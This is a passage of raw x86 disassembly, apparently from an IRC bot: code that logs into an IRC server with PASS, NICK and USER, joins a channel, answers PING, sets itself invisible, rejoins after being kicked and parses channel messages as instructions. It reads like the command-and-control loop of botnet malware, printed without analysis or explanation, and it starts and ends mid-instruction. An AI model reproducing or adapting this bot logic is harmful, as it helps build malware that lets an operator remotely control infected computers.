[ebp+var_E4] push eax push [ebp+var_1A0] call sub_401FD0 add esp, 20h mov [ebp+var_16C], eax push [ebp+var_1A0] call dword_4E1798 ; closesocket cmp [ebp+var_16C], 0 jnz short loc_401F92 jmp loc_401E18 ; --------------------------------------------------------------------------- loc_401F92: ; CODE XREF: sub_401DEC+19Fj cmp [ebp+var_16C], 1 jnz short loc_401FAB push 0DBBA0h call near ptr 27A0000h nop jmp loc_401E18 ; --------------------------------------------------------------------------- loc_401FAB: ; CODE XREF: sub_401DEC+1ADj cmp [ebp+var_16C], 2 jnz short loc_401FB6 jmp short loc_401FBB ; --------------------------------------------------------------------------- loc_401FB6: ; CODE XREF: sub_401DEC+1C6j jmp loc_401E18 ; --------------------------------------------------------------------------- loc_401FBB: ; CODE XREF: sub_401DEC+31j ; sub_401DEC+1C8j push [ebp+var_C] call sub_40D802 pop ecx mov eax, [ebp+var_16C] loc_401FCA: ; CODE XREF: sub_401DEC+81j pop edi pop esi leave retn 4 sub_401DEC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401FD0 proc near ; CODE XREF: sub_401DEC+17Ep var_1A98 = dword ptr -1A98h var_1A94 = byte ptr -1A94h var_1A14 = byte ptr -1A14h var_A14 = dword ptr -0A14h var_A10 = dword ptr -0A10h var_240 = dword ptr -240h var_23C = dword ptr -23Ch var_238 = byte ptr -238h var_B8 = byte ptr -0B8h var_A4 = byte ptr -0A4h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A98h call sub_421EE0 and [ebp+var_4], 0 and [ebp+var_240], 0 jmp short loc_401FF7 ; --------------------------------------------------------------------------- loc_401FEA: ; CODE XREF: sub_401FD0+41j mov eax, [ebp+var_240] inc eax mov [ebp+var_240], eax loc_401FF7: ; CODE XREF: sub_401FD0+18j cmp [ebp+var_240], 3 jge short loc_402013 mov eax, [ebp+var_240] shl eax, 7 and [ebp+eax+var_238], 0 jmp short loc_401FEA ; --------------------------------------------------------------------------- loc_402013: ; CODE XREF: sub_401FD0+2Ej movsx eax, byte_4E158C test eax, eax jz short loc_402033 push offset byte_4E158C push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_40AFBE add esp, 0Ch loc_402033: ; CODE XREF: sub_401FD0+4Cj push [ebp+arg_C] push 0 push 0 push 2 lea eax, [ebp+var_B8] push eax call sub_40CE78 add esp, 10h push eax push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" lea eax, [ebp+var_1A94] push eax call sub_4219C0 add esp, 14h push 0 lea eax, [ebp+var_1A94] push eax call sub_41EBD0 pop ecx push eax lea eax, [ebp+var_1A94] push eax push [ebp+arg_0] call dword_4E1750 ; send cmp eax, 0FFFFFFFFh jnz short loc_4020A3 push [ebp+arg_0] call dword_4E1798 ; closesocket push 1388h call near ptr 27A0000h nop xor eax, eax jmp locret_4021E3 ; --------------------------------------------------------------------------- loc_4020A3: ; CODE XREF: sub_401FD0+B6j ; sub_401FD0:loc_4021DCj push 1 pop eax test eax, eax jz loc_4021E1 push 1000h push 0 lea eax, [ebp+var_1A14] push eax call sub_421410 add esp, 0Ch push 0 push 1000h lea eax, [ebp+var_1A14] push eax push [ebp+arg_0] call dword_4E1718 ; recv test eax, eax jg short loc_4020E4 jmp loc_4021E1 ; --------------------------------------------------------------------------- loc_4020E4: ; CODE XREF: sub_401FD0+10Dj lea eax, [ebp+var_A10] push eax lea eax, [ebp+var_1A14] push eax call sub_41A280 pop ecx pop ecx mov [ebp+var_240], eax and [ebp+var_A14], 0 jmp short loc_402115 ; --------------------------------------------------------------------------- loc_402108: ; CODE XREF: sub_401FD0:loc_4021D7j mov eax, [ebp+var_A14] inc eax mov [ebp+var_A14], eax loc_402115: ; CODE XREF: sub_401FD0+136j mov eax, [ebp+var_A14] cmp eax, [ebp+var_240] jge loc_4021DC mov [ebp+var_23C], 1 loc_402131: ; CODE XREF: sub_401FD0+1CEj push [ebp+arg_1C] push [ebp+var_23C] lea eax, [ebp+var_4] push eax lea eax, [ebp+var_A4] push eax lea eax, [ebp+var_238] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] mov eax, [ebp+var_A14] push [ebp+eax*4+var_A10] call sub_4021E5 add esp, 2Ch mov [ebp+var_23C], eax mov eax, [ebp+var_23C] dec eax mov [ebp+var_23C], eax cmp [ebp+var_23C], 0 jle short loc_402197 push 7D0h nop call near ptr 27A0000h loc_402197: ; CODE XREF: sub_401FD0+1BAj cmp [ebp+var_23C], 0 jg short loc_402131 mov eax, [ebp+var_23C] mov [ebp+var_1A98], eax cmp [ebp+var_1A98], 0FFFFFFFDh jz short loc_4021D2 cmp [ebp+var_1A98], 0FFFFFFFEh jz short loc_4021CD cmp [ebp+var_1A98], 0FFFFFFFFh jz short loc_4021C9 jmp short loc_4021D7 ; --------------------------------------------------------------------------- loc_4021C9: ; CODE XREF: sub_401FD0+1F5j xor eax, eax jmp short locret_4021E3 ; --------------------------------------------------------------------------- loc_4021CD: ; CODE XREF: sub_401FD0+1ECj push 1 pop eax jmp short locret_4021E3 ; --------------------------------------------------------------------------- loc_4021D2: ; CODE XREF: sub_401FD0+1E3j push 2 pop eax jmp short locret_4021E3 ; --------------------------------------------------------------------------- loc_4021D7: ; CODE XREF: sub_401FD0+1F7j jmp loc_402108 ; --------------------------------------------------------------------------- loc_4021DC: ; CODE XREF: sub_401FD0+151j jmp loc_4020A3 ; --------------------------------------------------------------------------- loc_4021E1: ; CODE XREF: sub_401FD0+D8j ; sub_401FD0+10Fj xor eax, eax locret_4021E3: ; CODE XREF: sub_401FD0+CEj ; sub_401FD0+1FBj ... leave retn sub_401FD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4021E5 proc near ; CODE XREF: sub_401FD0+198p var_4170 = dword ptr -4170h var_416C = dword ptr -416Ch var_4168 = dword ptr -4168h var_4164 = dword ptr -4164h var_4160 = dword ptr -4160h var_415C = dword ptr -415Ch var_4158 = dword ptr -4158h var_4154 = dword ptr -4154h var_4150 = dword ptr -4150h var_414C = dword ptr -414Ch var_4148 = dword ptr -4148h var_4144 = dword ptr -4144h var_4140 = dword ptr -4140h var_413C = dword ptr -413Ch var_4138 = dword ptr -4138h var_4134 = dword ptr -4134h var_4130 = dword ptr -4130h var_412C = dword ptr -412Ch var_4128 = dword ptr -4128h var_4124 = dword ptr -4124h var_4120 = word ptr -4120h var_411E = word ptr -411Eh var_411C = dword ptr -411Ch var_4118 = dword ptr -4118h var_4114 = byte ptr -4114h var_4014 = dword ptr -4014h var_4010 = byte ptr -4010h var_3F0C = byte ptr -3F0Ch var_3E08 = byte ptr -3E08h var_3A08 = dword ptr -3A08h var_3A04 = word ptr -3A04h var_3A02 = word ptr -3A02h var_3A00 = dword ptr -3A00h var_39F4 = dword ptr -39F4h var_39F0 = dword ptr -39F0h var_39EC = dword ptr -39ECh var_39E8 = byte ptr -39E8h var_3858 = byte ptr -3858h var_3758 = byte ptr -3758h var_3658 = byte ptr -3658h var_3558 = byte ptr -3558h var_3458 = byte ptr -3458h var_3358 = dword ptr -3358h var_3354 = dword ptr -3354h var_3350 = dword ptr -3350h var_334C = dword ptr -334Ch var_3348 = dword ptr -3348h var_3344 = byte ptr -3344h var_3340 = dword ptr -3340h var_333C = dword ptr -333Ch var_3338 = byte ptr -3338h var_3334 = dword ptr -3334h var_3328 = byte ptr -3328h var_3318 = byte ptr -3318h var_3298 = byte ptr -3298h var_3218 = dword ptr -3218h var_3214 = dword ptr -3214h var_3210 = dword ptr -3210h var_320C = dword ptr -320Ch var_3208 = dword ptr -3208h var_31FC = dword ptr -31FCh var_31F8 = dword ptr -31F8h var_31F0 = dword ptr -31F0h var_31EC = dword ptr -31ECh var_31E8 = dword ptr -31E8h var_31E4 = dword ptr -31E4h var_31DC = dword ptr -31DCh var_31D8 = dword ptr -31D8h var_31D4 = byte ptr -31D4h var_3154 = dword ptr -3154h var_3150 = dword ptr -3150h var_314C = dword ptr -314Ch var_3148 = dword ptr -3148h var_3144 = dword ptr -3144h var_313C = dword ptr -313Ch var_3138 = dword ptr -3138h var_3134 = dword ptr -3134h var_312C = dword ptr -312Ch var_3128 = dword ptr -3128h var_3124 = dword ptr -3124h var_3120 = byte ptr -3120h var_30A0 = dword ptr -30A0h var_3098 = dword ptr -3098h var_3094 = dword ptr -3094h var_3090 = dword ptr -3090h var_3088 = dword ptr -3088h var_3084 = dword ptr -3084h var_3080 = dword ptr -3080h var_3078 = dword ptr -3078h var_3070 = byte ptr -3070h var_2FF0 = byte ptr -2FF0h var_2F70 = dword ptr -2F70h var_2F6C = dword ptr -2F6Ch var_2F68 = dword ptr -2F68h var_2F60 = dword ptr -2F60h var_2F5C = dword ptr -2F5Ch var_2F58 = dword ptr -2F58h var_2F50 = dword ptr -2F50h var_2F4C = byte ptr -2F4Ch var_2ECC = byte ptr -2ECCh var_2DCC = byte ptr -2DCCh var_2CCC = dword ptr -2CCCh var_2CC8 = dword ptr -2CC8h var_2CC4 = dword ptr -2CC4h var_2CC0 = dword ptr -2CC0h var_2CBC = dword ptr -2CBCh var_2CB8 = dword ptr -2CB8h var_2CB4 = dword ptr -2CB4h var_2CB0 = dword ptr -2CB0h var_2CAC = dword ptr -2CACh var_2CA8 = byte ptr -2CA8h var_2CA4 = byte ptr -2CA4h var_2C24 = byte ptr -2C24h var_2BE4 = byte ptr -2BE4h var_2B54 = dword ptr -2B54h var_2B50 = dword ptr -2B50h var_2B4C = dword ptr -2B4Ch var_2B48 = dword ptr -2B48h var_2B44 = dword ptr -2B44h var_2B40 = dword ptr -2B40h var_2B3C = byte ptr -2B3Ch var_2ABC = byte ptr -2ABCh var_29B8 = byte ptr -29B8h var_28B4 = dword ptr -28B4h var_28B0 = dword ptr -28B0h var_28AC = dword ptr -28ACh var_28A8 = dword ptr -28A8h var_28A4 = dword ptr -28A4h var_28A0 = byte ptr -28A0h var_2890 = dword ptr -2890h var_2864 = dword ptr -2864h var_2860 = word ptr -2860h var_284C = byte ptr -284Ch var_2748 = byte ptr -2748h var_272C = dword ptr -272Ch var_2728 = byte ptr -2728h var_26A8 = byte ptr -26A8h var_25A8 = byte ptr -25A8h var_24A8 = dword ptr -24A8h var_24A4 = dword ptr -24A4h var_24A0 = dword ptr -24A0h var_249C = dword ptr -249Ch var_2498 = dword ptr -2498h var_2494 = dword ptr -2494h var_2490 = dword ptr -2490h var_248C = dword ptr -248Ch var_2488 = dword ptr -2488h var_2484 = dword ptr -2484h var_2480 = dword ptr -2480h var_247C = dword ptr -247Ch var_2478 = dword ptr -2478h var_2474 = dword ptr -2474h var_2470 = dword ptr -2470h var_246C = dword ptr -246Ch var_2468 = byte ptr -2468h var_2368 = byte ptr -2368h var_1F68 = byte ptr -1F68h var_1D68 = dword ptr -1D68h var_1D64 = dword ptr -1D64h var_1D60 = dword ptr -1D60h var_1D5C = dword ptr -1D5Ch var_1D58 = dword ptr -1D58h var_1D54 = byte ptr -1D54h var_1CD4 = byte ptr -1CD4h var_1C54 = byte ptr -1C54h var_1BD4 = dword ptr -1BD4h var_1BD0 = dword ptr -1BD0h var_1BCC = dword ptr -1BCCh var_1BC8 = dword ptr -1BC8h var_1BC4 = dword ptr -1BC4h var_1BBC = byte ptr -1BBCh var_1BA8 = byte ptr -1BA8h var_1AA4 = byte ptr -1AA4h var_1A20 = dword ptr -1A20h var_1A1C = dword ptr -1A1Ch var_1A18 = dword ptr -1A18h var_1A14 = dword ptr -1A14h var_1A10 = dword ptr -1A10h var_1A0C = dword ptr -1A0Ch var_1A08 = dword ptr -1A08h var_1A04 = dword ptr -1A04h var_1A00 = byte ptr -1A00h var_19FC = byte ptr -19FCh var_19EC = byte ptr -19ECh var_196C = byte ptr -196Ch var_18EC = dword ptr -18ECh var_18E4 = dword ptr -18E4h var_18E0 = dword ptr -18E0h var_18DC = dword ptr -18DCh var_18D8 = dword ptr -18D8h var_18D4 = dword ptr -18D4h var_18D0 = dword ptr -18D0h var_18CC = byte ptr -18CCh var_18C8 = dword ptr -18C8h var_18BC = byte ptr -18BCh var_18AC = byte ptr -18ACh var_182C = byte ptr -182Ch var_17AC = dword ptr -17ACh var_17A8 = dword ptr -17A8h var_17A4 = dword ptr -17A4h var_17A0 = dword ptr -17A0h var_179C = dword ptr -179Ch var_1790 = dword ptr -1790h var_178C = dword ptr -178Ch var_1784 = dword ptr -1784h var_1780 = dword ptr -1780h var_177C = dword ptr -177Ch var_1778 = dword ptr -1778h var_1770 = dword ptr -1770h var_176C = byte ptr -176Ch var_1768 = dword ptr -1768h var_1764 = dword ptr -1764h var_1760 = dword ptr -1760h var_175C = dword ptr -175Ch var_1758 = dword ptr -1758h var_1754 = byte ptr -1754h var_1650 = byte ptr -1650h var_154C = dword ptr -154Ch var_1548 = dword ptr -1548h var_1544 = dword ptr -1544h var_1540 = byte ptr -1540h var_14C0 = dword ptr -14C0h var_14BC = dword ptr -14BCh var_14B8 = dword ptr -14B8h var_14B4 = byte ptr -14B4h var_14A8 = byte ptr -14A8h var_13A4 = dword ptr -13A4h var_13A0 = byte ptr -13A0h var_1119 = byte ptr -1119h var_1118 = byte ptr -1118h var_1014 = dword ptr -1014h var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_1000 = dword ptr -1000h var_FF8 = dword ptr -0FF8h var_FF4 = dword ptr -0FF4h var_FF0 = dword ptr -0FF0h var_FEC = dword ptr -0FECh var_FE8 = dword ptr -0FE8h var_FE4 = byte ptr -0FE4h var_F64 = dword ptr -0F64h var_F60 = dword ptr -0F60h var_F5C = dword ptr -0F5Ch var_F58 = dword ptr -0F58h var_F54 = dword ptr -0F54h var_F50 = dword ptr -0F50h var_F4C = dword ptr -0F4Ch var_F48 = byte ptr -0F48h var_EC8 = byte ptr -0EC8h var_E48 = dword ptr -0E48h var_E44 = dword ptr -0E44h var_E40 = dword ptr -0E40h var_E3C = dword ptr -0E3Ch var_E38 = dword ptr -0E38h var_E34 = byte ptr -0E34h var_DB4 = dword ptr -0DB4h var_DB0 = dword ptr -0DB0h var_DAC = dword ptr -0DACh var_DA8 = dword ptr -0DA8h var_DA4 = dword ptr -0DA4h var_DA0 = dword ptr -0DA0h var_D9C = dword ptr -0D9Ch var_D98 = byte ptr -0D98h var_D18 = word ptr -0D18h var_D14 = dword ptr -0D14h var_D0C = dword ptr -0D0Ch var_D08 = dword ptr -0D08h var_D04 = dword ptr -0D04h var_CFC = dword ptr -0CFCh var_CF8 = byte ptr -0CF8h var_C78 = dword ptr -0C78h var_C74 = dword ptr -0C74h var_C70 = dword ptr -0C70h var_C6C = dword ptr -0C6Ch var_C68 = dword ptr -0C68h var_C64 = dword ptr -0C64h var_C60 = dword ptr -0C60h var_C5C = dword ptr -0C5Ch var_C58 = dword ptr -0C58h var_C54 = dword ptr -0C54h var_C50 = dword ptr -0C50h var_C4C = dword ptr -0C4Ch var_C44 = byte ptr -0C44h var_B2C = byte ptr -0B2Ch var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = dword ptr -0A9Ch var_A98 = dword ptr -0A98h var_A90 = byte ptr -0A90h var_A7C = byte ptr -0A7Ch var_978 = byte ptr -978h var_8F8 = dword ptr -8F8h var_8F4 = dword ptr -8F4h var_8F0 = dword ptr -8F0h var_8EC = dword ptr -8ECh var_8E8 = dword ptr -8E8h var_8E4 = dword ptr -8E4h var_8E0 = byte ptr -8E0h var_87C = dword ptr -87Ch var_878 = dword ptr -878h var_874 = dword ptr -874h var_870 = dword ptr -870h var_86C = dword ptr -86Ch var_868 = dword ptr -868h var_864 = dword ptr -864h var_860 = byte ptr -860h var_85F = byte ptr -85Fh var_85E = byte ptr -85Eh var_85C = dword ptr -85Ch var_858 = byte ptr -858h var_658 = byte ptr -658h var_5D8 = dword ptr -5D8h var_5D4 = byte ptr -5D4h var_3D4 = byte ptr -3D4h var_373 = byte ptr -373h var_372 = byte ptr -372h var_370 = byte ptr -370h var_36F = byte ptr -36Fh var_366 = byte ptr -366h var_364 = byte ptr -364h var_362 = byte ptr -362h var_361 = byte ptr -361h var_2D4 = dword ptr -2D4h var_2D0 = byte ptr -2D0h var_D0 = byte ptr -0D0h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_20 = byte ptr -20h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 4170h call sub_421EE0 push esi mov [ebp+var_BC], 3 and [ebp+var_868], 0 and [ebp+var_864], 0 and [ebp+var_4], 0 and [ebp+var_85C], 0 and [ebp+var_C4], 0 push 200h push 0 loc_402224: ; DATA XREF: sub_611A29+10r ; sub_611A29+3Bw lea eax, [ebp+var_858] push eax call sub_421410 add esp, 0Ch push 1Bh push [ebp+arg_10] lea eax, [ebp+var_20] push eax call sub_421470 add esp, 0Ch cmp [ebp+arg_0], 0 jnz short loc_402252 push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_402252: ; CODE XREF: sub_4021E5+63j push 200h push 0 lea eax, [ebp+var_2D0] push eax call sub_421410 add esp, 0Ch push 1FFh push [ebp+arg_0] lea eax, [ebp+var_2D0] push eax call sub_421470 add esp, 0Ch push offset asc_441B9C ; " :" lea eax, [ebp+var_2D0] push eax call sub_421B10 pop ecx pop ecx mov [ebp+var_2D4], eax push 1FFh lea eax, [ebp+var_2D0] push eax lea eax, [ebp+var_5D4] push eax call sub_421470 add esp, 0Ch push offset asc_441BA0 ; " " lea eax, [ebp+var_5D4] push eax call sub_4227D0 pop ecx pop ecx mov [ebp+var_A0], eax mov [ebp+var_5D8], 1 jmp short loc_4022E5 ; --------------------------------------------------------------------------- loc_4022D8: ; CODE XREF: sub_4021E5+124j mov eax, [ebp+var_5D8] inc eax mov [ebp+var_5D8], eax loc_4022E5: ; CODE XREF: sub_4021E5+F1j cmp [ebp+var_5D8], 20h jge short loc_40230B push offset asc_441BA4 ; " " push 0 call sub_4227D0 pop ecx pop ecx mov ecx, [ebp+var_5D8] mov [ebp+ecx*4+var_A0], eax jmp short loc_4022D8 ; --------------------------------------------------------------------------- loc_40230B: ; CODE XREF: sub_4021E5+107j cmp [ebp+var_A0], 0 jz short loc_40231D cmp [ebp+var_9C], 0 jnz short loc_402325 loc_40231D: ; CODE XREF: sub_4021E5+12Dj push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_402325: ; CODE XREF: sub_4021E5+136j push 100h push 0 lea eax, [ebp+var_3D4] push eax call sub_421410 add esp, 0Ch mov [ebp+var_5D8], 1Fh jmp short loc_402354 ; --------------------------------------------------------------------------- loc_402347: ; CODE XREF: sub_4021E5+18Cj ; sub_4021E5:loc_4023FAj mov eax, [ebp+var_5D8] dec eax mov [ebp+var_5D8], eax loc_402354: ; CODE XREF: sub_4021E5+160j cmp [ebp+var_5D8], 0 jl loc_4023FF mov eax, [ebp+var_5D8] cmp [ebp+eax*4+var_A0], 0 jnz short loc_402373 jmp short loc_402347 ; --------------------------------------------------------------------------- loc_402373: ; CODE XREF: sub_4021E5+18Aj mov eax, [ebp+var_5D8] mov eax, [ebp+eax*4+var_A0] movsx eax, byte ptr [eax] cmp eax, 2Dh jnz short loc_4023F8 mov eax, [ebp+var_5D8] mov eax, [ebp+eax*4+var_A0] movsx eax, byte ptr [eax+2] test eax, eax jnz short loc_4023F8 mov eax, [ebp+var_5D8] mov eax, [ebp+eax*4+var_A0] movsx eax, byte ptr [eax+1] mov [ebp+eax+var_3D4], 1 mov eax, [ebp+var_5D8] mov eax, [ebp+eax*4+var_A0] and byte ptr [eax], 0 mov eax, [ebp+var_5D8] mov eax, [ebp+eax*4+var_A0] and byte ptr [eax+1], 0 mov eax, [ebp+var_5D8] mov eax, [ebp+eax*4+var_A0] and byte ptr [eax+2], 0 mov eax, [ebp+var_5D8] and [ebp+eax*4+var_A0], 0 jmp short loc_4023FA ; --------------------------------------------------------------------------- loc_4023F8: ; CODE XREF: sub_4021E5+1A1j ; sub_4021E5+1B6j jmp short loc_4023FF ; --------------------------------------------------------------------------- loc_4023FA: ; CODE XREF: sub_4021E5+211j jmp loc_402347 ; --------------------------------------------------------------------------- loc_4023FF: ; CODE XREF: sub_4021E5+176j ; sub_4021E5:loc_4023F8j movzx eax, [ebp+var_361] test eax, eax jz short loc_402411 mov [ebp+var_4], 1 loc_402411: ; CODE XREF: sub_4021E5+223j movzx eax, [ebp+var_366] test eax, eax jz short loc_40242A and [ebp+var_4], 0 mov [ebp+var_85C], 1 loc_40242A: ; CODE XREF: sub_4021E5+235j mov eax, [ebp+var_A0] movsx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_40247B push 7Fh push [ebp+var_A0] lea eax, [ebp+var_658] push eax call sub_421470 add esp, 0Ch push 17h mov eax, [ebp+var_A0] inc eax push eax lea eax, [ebp+var_B8] push eax call sub_421470 add esp, 0Ch push offset asc_441BA8 ; "!" lea eax, [ebp+var_B8] push eax call sub_4227D0 pop ecx pop ecx loc_40247B: ; CODE XREF: sub_4021E5+251j push [ebp+var_A0] push offset aPing ; "PING" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_4024D7 mov eax, [ebp+var_A0] mov byte ptr [eax+1], 4Fh push [ebp+var_9C] push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_40AFBE add esp, 0Ch mov eax, [ebp+arg_20] cmp dword ptr [eax], 0 jnz short loc_4024CF push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40AFBE add esp, 10h loc_4024CF: ; CODE XREF: sub_4021E5+2D2j push 1 loc_4024D1: ; DATA XREF: sub_611C10+8w ; sub_611C10+37r pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_4024D7: ; CODE XREF: sub_4021E5+2AAj push [ebp+var_9C] push offset a001 ; "001" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_402503 push [ebp+var_9C] push offset a005 ; "005" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_402556 loc_402503: ; CODE XREF: sub_4021E5+306j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_40AFBE add esp, 0Ch push offset aXI ; "-x+i" push [ebp+arg_10] push offset aModeSS ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_40AFBE add esp, 10h push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS_4 ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40AFBE add esp, 10h mov dword_4E15A0, 1 push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_402556: ; CODE XREF: sub_4021E5+31Cj push [ebp+var_9C] push offset a302 ; "302" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_4025AD push offset a@ ; "@" push [ebp+var_94] call sub_421B10 pop ecx pop ecx mov [ebp+var_86C], eax cmp [ebp+var_86C], 0 jz short loc_4025A5 push 9Fh mov eax, [ebp+var_86C] inc eax push eax push [ebp+arg_1C] call sub_421470 add esp, 0Ch loc_4025A5: ; CODE XREF: sub_4021E5+3A6j push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_4025AD: ; CODE XREF: sub_4021E5+385j push [ebp+var_9C] push offset a433 ; "433" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_4025F7 push 0 push dword_44109C push dword_441098 push [ebp+arg_10] call sub_40CE78 add esp, 10h push [ebp+arg_10] push offset aNickS_3 ; "NICK %s\r\n" push [ebp+arg_4] call sub_40AFBE add esp, 0Ch push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_4025F7: ; CODE XREF: sub_4021E5+3DCj and [ebp+var_5D8], 0 jmp short loc_40260D ; --------------------------------------------------------------------------- loc_402600: ; CODE XREF: sub_4021E5:loc_402641j mov eax, [ebp+var_5D8] inc eax mov [ebp+var_5D8], eax loc_40260D: ; CODE XREF: sub_4021E5+419j cmp [ebp+var_5D8], 3 jge short loc_402643 lea eax, [ebp+var_658] push eax mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] add ecx, eax push ecx call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_402641 mov [ebp+var_864], 1 loc_402641: ; CODE XREF: sub_4021E5+450j jmp short loc_402600 ; --------------------------------------------------------------------------- loc_402643: ; CODE XREF: sub_4021E5+42Fj push [ebp+var_9C] push offset aKick ; "KICK" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_40277C and [ebp+var_5D8], 0 jmp short loc_402673 ; --------------------------------------------------------------------------- loc_402666: ; CODE XREF: sub_4021E5+4AFj ; sub_4021E5:loc_40273Fj mov eax, [ebp+var_5D8] inc eax mov [ebp+var_5D8], eax loc_402673: ; CODE XREF: sub_4021E5+47Fj cmp [ebp+var_5D8], 3 jge loc_402744 mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] movsx eax, byte ptr [ecx+eax] test eax, eax jnz short loc_402696 jmp short loc_402666 ; --------------------------------------------------------------------------- loc_402696: ; CODE XREF: sub_4021E5+4ADj push 7Fh mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] add ecx, eax push ecx lea eax, [ebp+var_658] push eax call sub_421470 add esp, 0Ch lea eax, [ebp+var_B8] mov [ebp+var_870], eax cmp [ebp+var_870], 0 jz short loc_40273F cmp [ebp+var_94], 0 jz short loc_40273F push [ebp+var_94] push [ebp+var_870] call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_40273F mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] and byte ptr [ecx+eax], 0 push [ebp+var_870] push offset unk_441C28 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch lea eax, [ebp+var_858] push eax push [ebp+var_870] push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_40AFBE add esp, 10h lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx loc_40273F: ; CODE XREF: sub_4021E5+4E4j ; sub_4021E5+4EDj ... jmp loc_402666 ; --------------------------------------------------------------------------- loc_402744: ; CODE XREF: sub_4021E5+495j push [ebp+var_94] push [ebp+arg_10] call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_402774 mov eax, [ebp+arg_20] and dword ptr [eax], 0 push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS_0 ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40AFBE add esp, 10h loc_402774: ; CODE XREF: sub_4021E5+571j push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_40277C: ; CODE XREF: sub_4021E5+472j push [ebp+var_9C] push offset aNick ; "NICK" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_4029A4 lea eax, [ebp+var_B8] mov [ebp+var_878], eax mov eax, [ebp+var_98] inc eax mov [ebp+var_874], eax and [ebp+var_5D8], 0 jmp short loc_4027C5 ; --------------------------------------------------------------------------- loc_4027B8: ; CODE XREF: sub_4021E5:loc_40285Ej mov eax, [ebp+var_5D8] inc eax mov [ebp+var_5D8], eax loc_4027C5: ; CODE XREF: sub_4021E5+5D1j cmp [ebp+var_5D8], 3 jge loc_402863 lea eax, [ebp+var_658] push eax mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] add ecx, eax push ecx call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_40285E push 21h lea eax, [ebp+var_658] push eax call sub_422680 pop ecx pop ecx mov [ebp+var_87C], eax cmp [ebp+var_87C], 0 jz short loc_40285E mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] mov byte ptr [ecx+eax], 3Ah push [ebp+var_874] mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] lea eax, [ecx+eax+1] push eax call sub_422580 pop ecx pop ecx push [ebp+var_87C] mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] lea eax, [ecx+eax+2] push eax call sub_422590 pop ecx pop ecx loc_40285E: ; CODE XREF: sub_4021E5+60Cj ; sub_4021E5+62Bj jmp loc_4027B8 ; --------------------------------------------------------------------------- loc_402863: ; CODE XREF: sub_4021E5+5E7j cmp [ebp+var_878], 0 jz loc_40299C cmp [ebp+var_874], 0 jz loc_40299C push [ebp+arg_10] push [ebp+var_878] call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_4028AC push 0Fh push [ebp+var_874] push [ebp+arg_10] call sub_421470 add esp, 0Ch push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_4028AC: ; CODE XREF: sub_4021E5+6AAj and [ebp+var_5D8], 0 jmp short loc_4028C2 ; --------------------------------------------------------------------------- loc_4028B5: ; CODE XREF: sub_4021E5:loc_402997j mov eax, [ebp+var_5D8] inc eax mov [ebp+var_5D8], eax loc_4028C2: ; CODE XREF: sub_4021E5+6CEj cmp [ebp+var_5D8], 